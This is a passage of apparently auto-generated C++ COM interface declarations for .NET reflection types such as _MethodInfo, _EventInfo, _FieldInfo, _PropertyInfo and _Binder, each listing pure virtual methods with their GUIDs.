SAFEARRAY * parameters, /*[in]*/ struct _CultureInfo * culture, /*[out,retval]*/ VARIANT * pRetVal ) = 0; virtual HRESULT __stdcall get_IsPublic ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsPrivate ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsFamily ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsAssembly ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsFamilyAndAssembly ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsFamilyOrAssembly ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsStatic ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsFinal ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsVirtual ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsHideBySig ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsAbstract ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsSpecialName ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsConstructor ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall Invoke_3 ( /*[in]*/ VARIANT obj, /*[in]*/ SAFEARRAY * parameters, /*[out,retval]*/ VARIANT * pRetVal ) = 0; }; struct __declspec(uuid("8e5e0b95-750e-310d-892c-8ca7231cf75b")) IMethodMessage : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall get_Uri ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall get_MethodName ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall get_typeName ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall get_MethodSignature ( /*[out,retval]*/ VARIANT * pRetVal ) = 0; virtual HRESULT __stdcall get_ArgCount ( /*[out,retval]*/ long * pRetVal ) = 0; virtual HRESULT __stdcall GetArgName ( /*[in]*/ long index, /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall GetArg ( /*[in]*/ long argNum, /*[out,retval]*/ VARIANT * pRetVal ) = 0; virtual HRESULT __stdcall get_args ( /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall get_HasVarArgs ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_LogicalCallContext ( /*[out,retval]*/ struct _LogicalCallContext * * pRetVal ) = 0; virtual HRESULT __stdcall get_MethodBase ( /*[out,retval]*/ struct _MethodBase * * pRetVal ) = 0; }; struct __declspec(uuid("ffcc1b5d-ecb8-38dd-9b01-3dc8abc2aa5f")) _MethodInfo : IUnknown { // // Raw methods provided by interface // virtual HRESULT __stdcall GetTypeInfoCount ( /*[out]*/ unsigned long * pcTInfo ) = 0; virtual HRESULT __stdcall GetTypeInfo ( /*[in]*/ unsigned long iTInfo, /*[in]*/ unsigned long lcid, /*[in]*/ long ppTInfo ) = 0; virtual HRESULT __stdcall GetIDsOfNames ( /*[in]*/ GUID * riid, /*[in]*/ long rgszNames, /*[in]*/ unsigned long cNames, /*[in]*/ unsigned long lcid, /*[in]*/ long rgDispId ) = 0; virtual HRESULT __stdcall Invoke ( /*[in]*/ unsigned long dispIdMember, /*[in]*/ GUID * riid, /*[in]*/ unsigned long lcid, /*[in]*/ short wFlags, /*[in]*/ long pDispParams, /*[in]*/ long pVarResult, /*[in]*/ long pExcepInfo, /*[in]*/ long puArgErr ) = 0; virtual HRESULT __stdcall get_ToString ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall Equals ( /*[in]*/ VARIANT other, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall GetHashCode ( /*[out,retval]*/ long * pRetVal ) = 0; virtual HRESULT __stdcall GetType ( /*[out,retval]*/ struct _Type * * pRetVal ) = 0; virtual HRESULT __stdcall get_MemberType ( /*[out,retval]*/ enum MemberTypes * pRetVal ) = 0; virtual HRESULT __stdcall get_name ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall get_DeclaringType ( /*[out,retval]*/ struct _Type * * pRetVal ) = 0; virtual HRESULT __stdcall get_ReflectedType ( /*[out,retval]*/ struct _Type * * pRetVal ) = 0; virtual HRESULT __stdcall GetCustomAttributes ( /*[in]*/ struct _Type * attributeType, /*[in]*/ VARIANT_BOOL inherit, /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetCustomAttributes_2 ( /*[in]*/ VARIANT_BOOL inherit, /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall IsDefined ( /*[in]*/ struct _Type * attributeType, /*[in]*/ VARIANT_BOOL inherit, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall GetParameters ( /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetMethodImplementationFlags ( /*[out,retval]*/ enum MethodImplAttributes * pRetVal ) = 0; virtual HRESULT __stdcall get_MethodHandle ( /*[out,retval]*/ struct RuntimeMethodHandle * pRetVal ) = 0; virtual HRESULT __stdcall get_Attributes ( /*[out,retval]*/ enum MethodAttributes * pRetVal ) = 0; virtual HRESULT __stdcall get_CallingConvention ( /*[out,retval]*/ enum CallingConventions * pRetVal ) = 0; virtual HRESULT __stdcall Invoke_2 ( /*[in]*/ VARIANT obj, /*[in]*/ enum BindingFlags invokeAttr, /*[in]*/ struct _Binder * Binder, /*[in]*/ SAFEARRAY * parameters, /*[in]*/ struct _CultureInfo * culture, /*[out,retval]*/ VARIANT * pRetVal ) = 0; virtual HRESULT __stdcall get_IsPublic ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsPrivate ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsFamily ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsAssembly ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsFamilyAndAssembly ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsFamilyOrAssembly ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsStatic ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsFinal ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsVirtual ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsHideBySig ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsAbstract ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsSpecialName ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsConstructor ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall Invoke_3 ( /*[in]*/ VARIANT obj, /*[in]*/ SAFEARRAY * parameters, /*[out,retval]*/ VARIANT * pRetVal ) = 0; virtual HRESULT __stdcall get_returnType ( /*[out,retval]*/ struct _Type * * pRetVal ) = 0; virtual HRESULT __stdcall get_ReturnTypeCustomAttributes ( /*[out,retval]*/ struct ICustomAttributeProvider * * pRetVal ) = 0; virtual HRESULT __stdcall GetBaseDefinition ( /*[out,retval]*/ struct _MethodInfo * * pRetVal ) = 0; }; struct __declspec(uuid("fb6ab00f-5096-3af8-a33d-d7885a5fa829")) _Delegate : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall get_ToString ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall Equals ( /*[in]*/ VARIANT obj, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall GetHashCode ( /*[out,retval]*/ long * pRetVal ) = 0; virtual HRESULT __stdcall GetType ( /*[out,retval]*/ struct _Type * * pRetVal ) = 0; virtual HRESULT __stdcall GetInvocationList ( /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall Clone ( /*[out,retval]*/ VARIANT * pRetVal ) = 0; virtual HRESULT __stdcall GetObjectData ( /*[in]*/ struct _SerializationInfo * info, /*[in]*/ struct StreamingContext Context ) = 0; virtual HRESULT __stdcall DynamicInvoke ( /*[in]*/ SAFEARRAY * args, /*[out,retval]*/ VARIANT * pRetVal ) = 0; virtual HRESULT __stdcall get_Method ( /*[out,retval]*/ struct _MethodInfo * * pRetVal ) = 0; virtual HRESULT __stdcall get_Target ( /*[out,retval]*/ VARIANT * pRetVal ) = 0; }; struct __declspec(uuid("9de59c64-d889-35a1-b897-587d74469e5b")) _EventInfo : IUnknown { // // Raw methods provided by interface // virtual HRESULT __stdcall GetTypeInfoCount ( /*[out]*/ unsigned long * pcTInfo ) = 0; virtual HRESULT __stdcall GetTypeInfo ( /*[in]*/ unsigned long iTInfo, /*[in]*/ unsigned long lcid, /*[in]*/ long ppTInfo ) = 0; virtual HRESULT __stdcall GetIDsOfNames ( /*[in]*/ GUID * riid, /*[in]*/ long rgszNames, /*[in]*/ unsigned long cNames, /*[in]*/ unsigned long lcid, /*[in]*/ long rgDispId ) = 0; virtual HRESULT __stdcall Invoke ( /*[in]*/ unsigned long dispIdMember, /*[in]*/ GUID * riid, /*[in]*/ unsigned long lcid, /*[in]*/ short wFlags, /*[in]*/ long pDispParams, /*[in]*/ long pVarResult, /*[in]*/ long pExcepInfo, /*[in]*/ long puArgErr ) = 0; virtual HRESULT __stdcall get_ToString ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall Equals ( /*[in]*/ VARIANT other, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall GetHashCode ( /*[out,retval]*/ long * pRetVal ) = 0; virtual HRESULT __stdcall GetType ( /*[out,retval]*/ struct _Type * * pRetVal ) = 0; virtual HRESULT __stdcall get_MemberType ( /*[out,retval]*/ enum MemberTypes * pRetVal ) = 0; virtual HRESULT __stdcall get_name ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall get_DeclaringType ( /*[out,retval]*/ struct _Type * * pRetVal ) = 0; virtual HRESULT __stdcall get_ReflectedType ( /*[out,retval]*/ struct _Type * * pRetVal ) = 0; virtual HRESULT __stdcall GetCustomAttributes ( /*[in]*/ struct _Type * attributeType, /*[in]*/ VARIANT_BOOL inherit, /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetCustomAttributes_2 ( /*[in]*/ VARIANT_BOOL inherit, /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall IsDefined ( /*[in]*/ struct _Type * attributeType, /*[in]*/ VARIANT_BOOL inherit, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall GetAddMethod ( /*[in]*/ VARIANT_BOOL nonPublic, /*[out,retval]*/ struct _MethodInfo * * pRetVal ) = 0; virtual HRESULT __stdcall GetRemoveMethod ( /*[in]*/ VARIANT_BOOL nonPublic, /*[out,retval]*/ struct _MethodInfo * * pRetVal ) = 0; virtual HRESULT __stdcall GetRaiseMethod ( /*[in]*/ VARIANT_BOOL nonPublic, /*[out,retval]*/ struct _MethodInfo * * pRetVal ) = 0; virtual HRESULT __stdcall get_Attributes ( /*[out,retval]*/ enum EventAttributes * pRetVal ) = 0; virtual HRESULT __stdcall GetAddMethod_2 ( /*[out,retval]*/ struct _MethodInfo * * pRetVal ) = 0; virtual HRESULT __stdcall GetRemoveMethod_2 ( /*[out,retval]*/ struct _MethodInfo * * pRetVal ) = 0; virtual HRESULT __stdcall GetRaiseMethod_2 ( /*[out,retval]*/ struct _MethodInfo * * pRetVal ) = 0; virtual HRESULT __stdcall AddEventHandler ( /*[in]*/ VARIANT Target, /*[in]*/ struct _Delegate * handler ) = 0; virtual HRESULT __stdcall RemoveEventHandler ( /*[in]*/ VARIANT Target, /*[in]*/ struct _Delegate * handler ) = 0; virtual HRESULT __stdcall get_EventHandlerType ( /*[out,retval]*/ struct _Type * * pRetVal ) = 0; virtual HRESULT __stdcall get_IsSpecialName ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsMulticast ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; }; struct __declspec(uuid("e9a19478-9646-3679-9b10-8411ae1fd57d")) _ConstructorInfo : IUnknown { // // Raw methods provided by interface // virtual HRESULT __stdcall GetTypeInfoCount ( /*[out]*/ unsigned long * pcTInfo ) = 0; virtual HRESULT __stdcall GetTypeInfo ( /*[in]*/ unsigned long iTInfo, /*[in]*/ unsigned long lcid, /*[in]*/ long ppTInfo ) = 0; virtual HRESULT __stdcall GetIDsOfNames ( /*[in]*/ GUID * riid, /*[in]*/ long rgszNames, /*[in]*/ unsigned long cNames, /*[in]*/ unsigned long lcid, /*[in]*/ long rgDispId ) = 0; virtual HRESULT __stdcall Invoke ( /*[in]*/ unsigned long dispIdMember, /*[in]*/ GUID * riid, /*[in]*/ unsigned long lcid, /*[in]*/ short wFlags, /*[in]*/ long pDispParams, /*[in]*/ long pVarResult, /*[in]*/ long pExcepInfo, /*[in]*/ long puArgErr ) = 0; virtual HRESULT __stdcall get_ToString ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall Equals ( /*[in]*/ VARIANT other, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall GetHashCode ( /*[out,retval]*/ long * pRetVal ) = 0; virtual HRESULT __stdcall GetType ( /*[out,retval]*/ struct _Type * * pRetVal ) = 0; virtual HRESULT __stdcall get_MemberType ( /*[out,retval]*/ enum MemberTypes * pRetVal ) = 0; virtual HRESULT __stdcall get_name ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall get_DeclaringType ( /*[out,retval]*/ struct _Type * * pRetVal ) = 0; virtual HRESULT __stdcall get_ReflectedType ( /*[out,retval]*/ struct _Type * * pRetVal ) = 0; virtual HRESULT __stdcall GetCustomAttributes ( /*[in]*/ struct _Type * attributeType, /*[in]*/ VARIANT_BOOL inherit, /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetCustomAttributes_2 ( /*[in]*/ VARIANT_BOOL inherit, /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall IsDefined ( /*[in]*/ struct _Type * attributeType, /*[in]*/ VARIANT_BOOL inherit, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall GetParameters ( /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetMethodImplementationFlags ( /*[out,retval]*/ enum MethodImplAttributes * pRetVal ) = 0; virtual HRESULT __stdcall get_MethodHandle ( /*[out,retval]*/ struct RuntimeMethodHandle * pRetVal ) = 0; virtual HRESULT __stdcall get_Attributes ( /*[out,retval]*/ enum MethodAttributes * pRetVal ) = 0; virtual HRESULT __stdcall get_CallingConvention ( /*[out,retval]*/ enum CallingConventions * pRetVal ) = 0; virtual HRESULT __stdcall Invoke_2 ( /*[in]*/ VARIANT obj, /*[in]*/ enum BindingFlags invokeAttr, /*[in]*/ struct _Binder * Binder, /*[in]*/ SAFEARRAY * parameters, /*[in]*/ struct _CultureInfo * culture, /*[out,retval]*/ VARIANT * pRetVal ) = 0; virtual HRESULT __stdcall get_IsPublic ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsPrivate ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsFamily ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsAssembly ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsFamilyAndAssembly ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsFamilyOrAssembly ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsStatic ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsFinal ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsVirtual ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsHideBySig ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsAbstract ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsSpecialName ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsConstructor ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall Invoke_3 ( /*[in]*/ VARIANT obj, /*[in]*/ SAFEARRAY * parameters, /*[out,retval]*/ VARIANT * pRetVal ) = 0; virtual HRESULT __stdcall Invoke_4 ( /*[in]*/ enum BindingFlags invokeAttr, /*[in]*/ struct _Binder * Binder, /*[in]*/ SAFEARRAY * parameters, /*[in]*/ struct _CultureInfo * culture, /*[out,retval]*/ VARIANT * pRetVal ) = 0; virtual HRESULT __stdcall Invoke_5 ( /*[in]*/ SAFEARRAY * parameters, /*[out,retval]*/ VARIANT * pRetVal ) = 0; }; struct __declspec(uuid("8a7c1442-a9fb-366b-80d8-4939ffa6dbe0")) _FieldInfo : IUnknown { // // Raw methods provided by interface // virtual HRESULT __stdcall GetTypeInfoCount ( /*[out]*/ unsigned long * pcTInfo ) = 0; virtual HRESULT __stdcall GetTypeInfo ( /*[in]*/ unsigned long iTInfo, /*[in]*/ unsigned long lcid, /*[in]*/ long ppTInfo ) = 0; virtual HRESULT __stdcall GetIDsOfNames ( /*[in]*/ GUID * riid, /*[in]*/ long rgszNames, /*[in]*/ unsigned long cNames, /*[in]*/ unsigned long lcid, /*[in]*/ long rgDispId ) = 0; virtual HRESULT __stdcall Invoke ( /*[in]*/ unsigned long dispIdMember, /*[in]*/ GUID * riid, /*[in]*/ unsigned long lcid, /*[in]*/ short wFlags, /*[in]*/ long pDispParams, /*[in]*/ long pVarResult, /*[in]*/ long pExcepInfo, /*[in]*/ long puArgErr ) = 0; virtual HRESULT __stdcall get_ToString ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall Equals ( /*[in]*/ VARIANT other, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall GetHashCode ( /*[out,retval]*/ long * pRetVal ) = 0; virtual HRESULT __stdcall GetType ( /*[out,retval]*/ struct _Type * * pRetVal ) = 0; virtual HRESULT __stdcall get_MemberType ( /*[out,retval]*/ enum MemberTypes * pRetVal ) = 0; virtual HRESULT __stdcall get_name ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall get_DeclaringType ( /*[out,retval]*/ struct _Type * * pRetVal ) = 0; virtual HRESULT __stdcall get_ReflectedType ( /*[out,retval]*/ struct _Type * * pRetVal ) = 0; virtual HRESULT __stdcall GetCustomAttributes ( /*[in]*/ struct _Type * attributeType, /*[in]*/ VARIANT_BOOL inherit, /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetCustomAttributes_2 ( /*[in]*/ VARIANT_BOOL inherit, /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall IsDefined ( /*[in]*/ struct _Type * attributeType, /*[in]*/ VARIANT_BOOL inherit, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_FieldType ( /*[out,retval]*/ struct _Type * * pRetVal ) = 0; virtual HRESULT __stdcall GetValue ( /*[in]*/ VARIANT obj, /*[out,retval]*/ VARIANT * pRetVal ) = 0; virtual HRESULT __stdcall GetValueDirect ( /*[in]*/ VARIANT obj, /*[out,retval]*/ VARIANT * pRetVal ) = 0; virtual HRESULT __stdcall SetValue ( /*[in]*/ VARIANT obj, /*[in]*/ VARIANT value, /*[in]*/ enum BindingFlags invokeAttr, /*[in]*/ struct _Binder * Binder, /*[in]*/ struct _CultureInfo * culture ) = 0; virtual HRESULT __stdcall SetValueDirect ( /*[in]*/ VARIANT obj, /*[in]*/ VARIANT value ) = 0; virtual HRESULT __stdcall get_FieldHandle ( /*[out,retval]*/ struct RuntimeFieldHandle * pRetVal ) = 0; virtual HRESULT __stdcall get_Attributes ( /*[out,retval]*/ enum FieldAttributes * pRetVal ) = 0; virtual HRESULT __stdcall SetValue_2 ( /*[in]*/ VARIANT obj, /*[in]*/ VARIANT value ) = 0; virtual HRESULT __stdcall get_IsPublic ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsPrivate ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsFamily ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsAssembly ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsFamilyAndAssembly ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsFamilyOrAssembly ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsStatic ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsInitOnly ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsLiteral ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsNotSerialized ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsSpecialName ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsPinvokeImpl ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; }; struct __declspec(uuid("f59ed4e4-e68f-3218-bd77-061aa82824bf")) _PropertyInfo : IUnknown { // // Raw methods provided by interface // virtual HRESULT __stdcall GetTypeInfoCount ( /*[out]*/ unsigned long * pcTInfo ) = 0; virtual HRESULT __stdcall GetTypeInfo ( /*[in]*/ unsigned long iTInfo, /*[in]*/ unsigned long lcid, /*[in]*/ long ppTInfo ) = 0; virtual HRESULT __stdcall GetIDsOfNames ( /*[in]*/ GUID * riid, /*[in]*/ long rgszNames, /*[in]*/ unsigned long cNames, /*[in]*/ unsigned long lcid, /*[in]*/ long rgDispId ) = 0; virtual HRESULT __stdcall Invoke ( /*[in]*/ unsigned long dispIdMember, /*[in]*/ GUID * riid, /*[in]*/ unsigned long lcid, /*[in]*/ short wFlags, /*[in]*/ long pDispParams, /*[in]*/ long pVarResult, /*[in]*/ long pExcepInfo, /*[in]*/ long puArgErr ) = 0; virtual HRESULT __stdcall get_ToString ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall Equals ( /*[in]*/ VARIANT other, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall GetHashCode ( /*[out,retval]*/ long * pRetVal ) = 0; virtual HRESULT __stdcall GetType ( /*[out,retval]*/ struct _Type * * pRetVal ) = 0; virtual HRESULT __stdcall get_MemberType ( /*[out,retval]*/ enum MemberTypes * pRetVal ) = 0; virtual HRESULT __stdcall get_name ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall get_DeclaringType ( /*[out,retval]*/ struct _Type * * pRetVal ) = 0; virtual HRESULT __stdcall get_ReflectedType ( /*[out,retval]*/ struct _Type * * pRetVal ) = 0; virtual HRESULT __stdcall GetCustomAttributes ( /*[in]*/ struct _Type * attributeType, /*[in]*/ VARIANT_BOOL inherit, /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetCustomAttributes_2 ( /*[in]*/ VARIANT_BOOL inherit, /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall IsDefined ( /*[in]*/ struct _Type * attributeType, /*[in]*/ VARIANT_BOOL inherit, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_PropertyType ( /*[out,retval]*/ struct _Type * * pRetVal ) = 0; virtual HRESULT __stdcall GetValue ( /*[in]*/ VARIANT obj, /*[in]*/ SAFEARRAY * index, /*[out,retval]*/ VARIANT * pRetVal ) = 0; virtual HRESULT __stdcall GetValue_2 ( /*[in]*/ VARIANT obj, /*[in]*/ enum BindingFlags invokeAttr, /*[in]*/ struct _Binder * Binder, /*[in]*/ SAFEARRAY * index, /*[in]*/ struct _CultureInfo * culture, /*[out,retval]*/ VARIANT * pRetVal ) = 0; virtual HRESULT __stdcall SetValue ( /*[in]*/ VARIANT obj, /*[in]*/ VARIANT value, /*[in]*/ SAFEARRAY * index ) = 0; virtual HRESULT __stdcall SetValue_2 ( /*[in]*/ VARIANT obj, /*[in]*/ VARIANT value, /*[in]*/ enum BindingFlags invokeAttr, /*[in]*/ struct _Binder * Binder, /*[in]*/ SAFEARRAY * index, /*[in]*/ struct _CultureInfo * culture ) = 0; virtual HRESULT __stdcall GetAccessors ( /*[in]*/ VARIANT_BOOL nonPublic, /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetGetMethod ( /*[in]*/ VARIANT_BOOL nonPublic, /*[out,retval]*/ struct _MethodInfo * * pRetVal ) = 0; virtual HRESULT __stdcall GetSetMethod ( /*[in]*/ VARIANT_BOOL nonPublic, /*[out,retval]*/ struct _MethodInfo * * pRetVal ) = 0; virtual HRESULT __stdcall GetIndexParameters ( /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall get_Attributes ( /*[out,retval]*/ enum PropertyAttributes * pRetVal ) = 0; virtual HRESULT __stdcall get_CanRead ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_CanWrite ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall GetAccessors_2 ( /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetGetMethod_2 ( /*[out,retval]*/ struct _MethodInfo * * pRetVal ) = 0; virtual HRESULT __stdcall GetSetMethod_2 ( /*[out,retval]*/ struct _MethodInfo * * pRetVal ) = 0; virtual HRESULT __stdcall get_IsSpecialName ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; }; struct __declspec(uuid("afbf15e6-c37c-11d2-b88e-00a0c9b471b8")) IExpando : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall AddField ( /*[in]*/ BSTR name, /*[out,retval]*/ struct _FieldInfo * * pRetVal ) = 0; virtual HRESULT __stdcall AddProperty ( /*[in]*/ BSTR name, /*[out,retval]*/ struct _PropertyInfo * * pRetVal ) = 0; virtual HRESULT __stdcall AddMethod ( /*[in]*/ BSTR name, /*[in]*/ struct _Delegate * Method, /*[out,retval]*/ struct _MethodInfo * * pRetVal ) = 0; virtual HRESULT __stdcall RemoveMember ( /*[in]*/ struct _MemberInfo * m ) = 0; }; struct __declspec(uuid("3169ab11-7109-3808-9a61-ef4ba0534fd9")) _Binder : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall get_ToString ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall Equals ( /*[in]*/ VARIANT obj, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall GetHashCode ( /*[out,retval]*/ long * pRetVal ) = 0; virtual HRESULT __stdcall GetType ( /*[out,retval]*/ struct _Type * * pRetVal ) = 0; virtual HRESULT __stdcall BindToMethod ( /*[in]*/ enum BindingFlags bindingAttr, /*[in]*/ SAFEARRAY * match, /*[in,out]*/ SAFEARRAY * * args, /*[in]*/ SAFEARRAY * modifiers, /*[in]*/ struct _CultureInfo * culture, /*[in]*/ SAFEARRAY * names, /*[out]*/ VARIANT * state, /*[out,retval]*/ struct _MethodBase * * pRetVal ) = 0; virtual HRESULT __stdcall BindToField ( /*[in]*/ enum BindingFlags bindingAttr, /*[in]*/ SAFEARRAY * match, /*[in]*/ VARIANT value, /*[in]*/ struct _CultureInfo * culture, /*[out,retval]*/ struct _FieldInfo * * pRetVal ) = 0; virtual HRESULT __stdcall SelectMethod ( /*[in]*/ enum BindingFlags bindingAttr, /*[in]*/ SAFEARRAY * match, /*[in]*/ SAFEARRAY * types, /*[in]*/ SAFEARRAY * modifiers, /*[out,retval]*/ struct _MethodBase * * pRetVal ) = 0; virtual HRESULT __stdcall SelectProperty ( /*[in]*/ enum BindingFlags bindingAttr, /*[in]*/ SAFEARRAY 